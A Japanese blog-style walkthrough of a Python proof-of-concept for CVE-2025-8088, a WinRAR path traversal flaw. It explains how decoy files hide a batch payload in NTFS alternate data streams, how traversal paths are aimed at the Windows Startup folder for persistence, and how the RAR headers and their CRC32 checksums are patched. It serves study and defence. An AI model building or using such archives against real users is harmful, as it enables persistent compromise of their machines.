免責事項: このコンテンツは教育および研究目的のみで提供されています。この情報を悪意のある活動に使用しないでください。
今日は、CVE-2025-8088 として追跡されている魅力的なパストラバーサル脆弱性について詳しく解説します。この脆弱性により、攻撃者は特別に細工されたRARアーカイブを解凍すると、被害者のシステム上の任意の場所に任意のファイルを書き込むことができます。このエクスプロイトが特に興味深いのは、ユーザーがアーカイブをどこで解凍してもペイロードの配信を確実にするための「ショットガン」アプローチです。
この投稿では、提供されたPython Proof-of-Concept (PoC) で悪意のある.rarファイルを作成するために使用される手法を詳しく説明します。
このPoCの最終的な目標は、古典的で効果的な永続化です。パストラバーサル脆弱性を悪用することで、エクスプロイトはペイロード (payload.bat) をWindowsのスタートアップフォルダ (AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) にドロップすることを目的としています。ここに配置された実行可能ファイルやスクリプトは、次回ユーザーがログインしたときに自動的に実行され、攻撃者に永続的なアクセスを与えます。
Pythonスクリプトは、最終的な exploit.rar を構築するための複数ステップのプロセスを自動化します。そのロジックを順に見ていきましょう。
スクリプトが最初に行うのは、コンポーネントを準備することです:
payload.bat という名前の単純なバッチファイルが作成されます。これは被害者のマシンにドロップしたい悪意のあるファイルです。PAYLOAD = "@echo off\necho Payload executed!\npause\n"
file1.txt、file2.txt など) を生成します。これらのファイルには2つの目的があります: アーカイブを正当に見せること、そしてより重要なことに、隠れたペイロードの運搬役として機能することです。def create_files() -> Tuple[List[Path], Path]:
# ...
for i in range(NUM_DEPTHS):
decoy = Path(f"{DECOY_FILE_PREFIX}{i+1}.txt")
" X " * 200) の長い文字列が定義されます。このプレースホルダはアーカイブのメタデータに埋め込まれ、後で悪意のあるパスに置き換えられます。これはこの手法の重要な部分です。スクリプトは、トラバーサルパスでファイルに名前を付ける代わりに、NTFSファイルシステムの代替データストリーム (ADS) と呼ばれる機能を使用します。ADSを使用すると、既存のファイル内にデータを「隠す」ことができます。
スクリプトは、payload.bat をADSとして各デコイファイルに添付します。このストリームの名前がプレースホルダが使用される場所です。本質的に、ファイルシステムには次のようなファイルパスが作成されます:
file1.txt:XXXXXXXXXXXXXXXXXXXX...
payload.bat のコンテンツは、今や file1.txt の中に密かに保存されます。
def attach_ads(decoy: Path, placeholder: str):
"""Attach payload to decoy as Alternate Data Stream"""
ads_path = f"{decoy}:{placeholder}"
with open(ads_path, "wb") as f:
f.write(Path("payload.bat").read_bytes())
次に、スクリプトはシステム上の Rar.exe コマンドラインツールを見つけ、それを使用して正当なベースアーカイブ (base.rar) を作成します。このアーカイブにはすべてのデコイファイルが含まれており、それらは代替データストリーム内にペイロードを密かに保持しています。
この時点で、base.rar は完全に有効で、悪意のないアーカイブです。WinRARは問題なく解凍でき、長くて奇妙なADS名を持つデコイファイルが作成されます。
def create_base_rar(rar_exe: str, decoys: List[Path]) -> Path:
# ...
subprocess.run(
f'"{rar_exe}" a -ep -os "{base_rar}" {files}',
# ...
)
ここでエクスプロイトは賢く、そして回復力のあるものになります。攻撃者は被害者がアーカイブをどこで解凍するかを知りません。C:\Users\victim\Downloads でしょうか? C:\ でしょうか? D:\Temp でしょうか?
この不確実性を克服するために、スクリプトはそれぞれ異なる深さを持つ異なるパストラバーサル文字列のリストを生成します:
..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.batアイデアは、複数の深さを提供することで、少なくとも1つは解凍ディレクトリからファイルシステムのルート (例: C:\) に戻り、その後ターゲットのスタートアップフォルダに正常に移動できるということです。
def build_relative_paths() -> List[str]:
"""Generate paths with different traversal depths"""
paths = []
for depth in range(1, NUM_DEPTHS + 1):
paths.append(("..\\" * depth) + RELATIVE_DROP_PATH)
return paths
これはエクスプロイトの核心です。スクリプトは base.rar をバイナリモードで開き、その内部を手術します。
アーカイブの内部構造を反復処理し、各ファイル (file1.txt、file2.txt など) のヘッダーを探します。各ヘッダー内で、プレースホルダのADS名 (:XXXXXXXXXXXXXXXXXXXX...) を見つけ、前のステップで生成された悪意のあるトラバーサルパスのいずれかに置き換えます。
file1.txt のヘッダーには ..\ を含むパスが設定されます。file2.txt のヘッダーには ..\..\ を含むパスが設定されます。def patch_rar(base_rar: Path, placeholder: str, relative_paths: List[str]) -> Path:
# ...
while pos + 4 <= len(data) and current_file_index < len(target_paths_utf8):
# ...
# Find the placeholder and replace it with the target path
c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
# ...
単にヘッダーデータを変更するだけでは、アーカイブが破損します。WinRARはCRC32チェックサムを使用して各ヘッダーブロックの整合性を検証します。チェックサムがヘッダーの内容と一致しない場合、エラーが発生します。
PoCはこれを予期しています。悪意のあるパスでヘッダーをパッチした後、変更されたヘッダーブロック全体の正しいCRC32チェックサムを再計算し、新しいチェックサムをファイルに書き戻します。これにより、改ざんされたアーカイブはWinRARに対して完全に有効に見えます。
def rebuild_all_header_crc(buf: bytearray) -> int:
"""Recalculate CRC checksums for all headers"""
# ...
while pos + 4 <= len(buf):
# ...
# Calculate CRC for the header region
region = buf[block_start + 4:header_end]
crc = zlib.crc32(region) & 0xFFFFFFFF
# Write the new CRC back into the buffer
struct.pack_into("<I", buf, block_start, crc)
# ...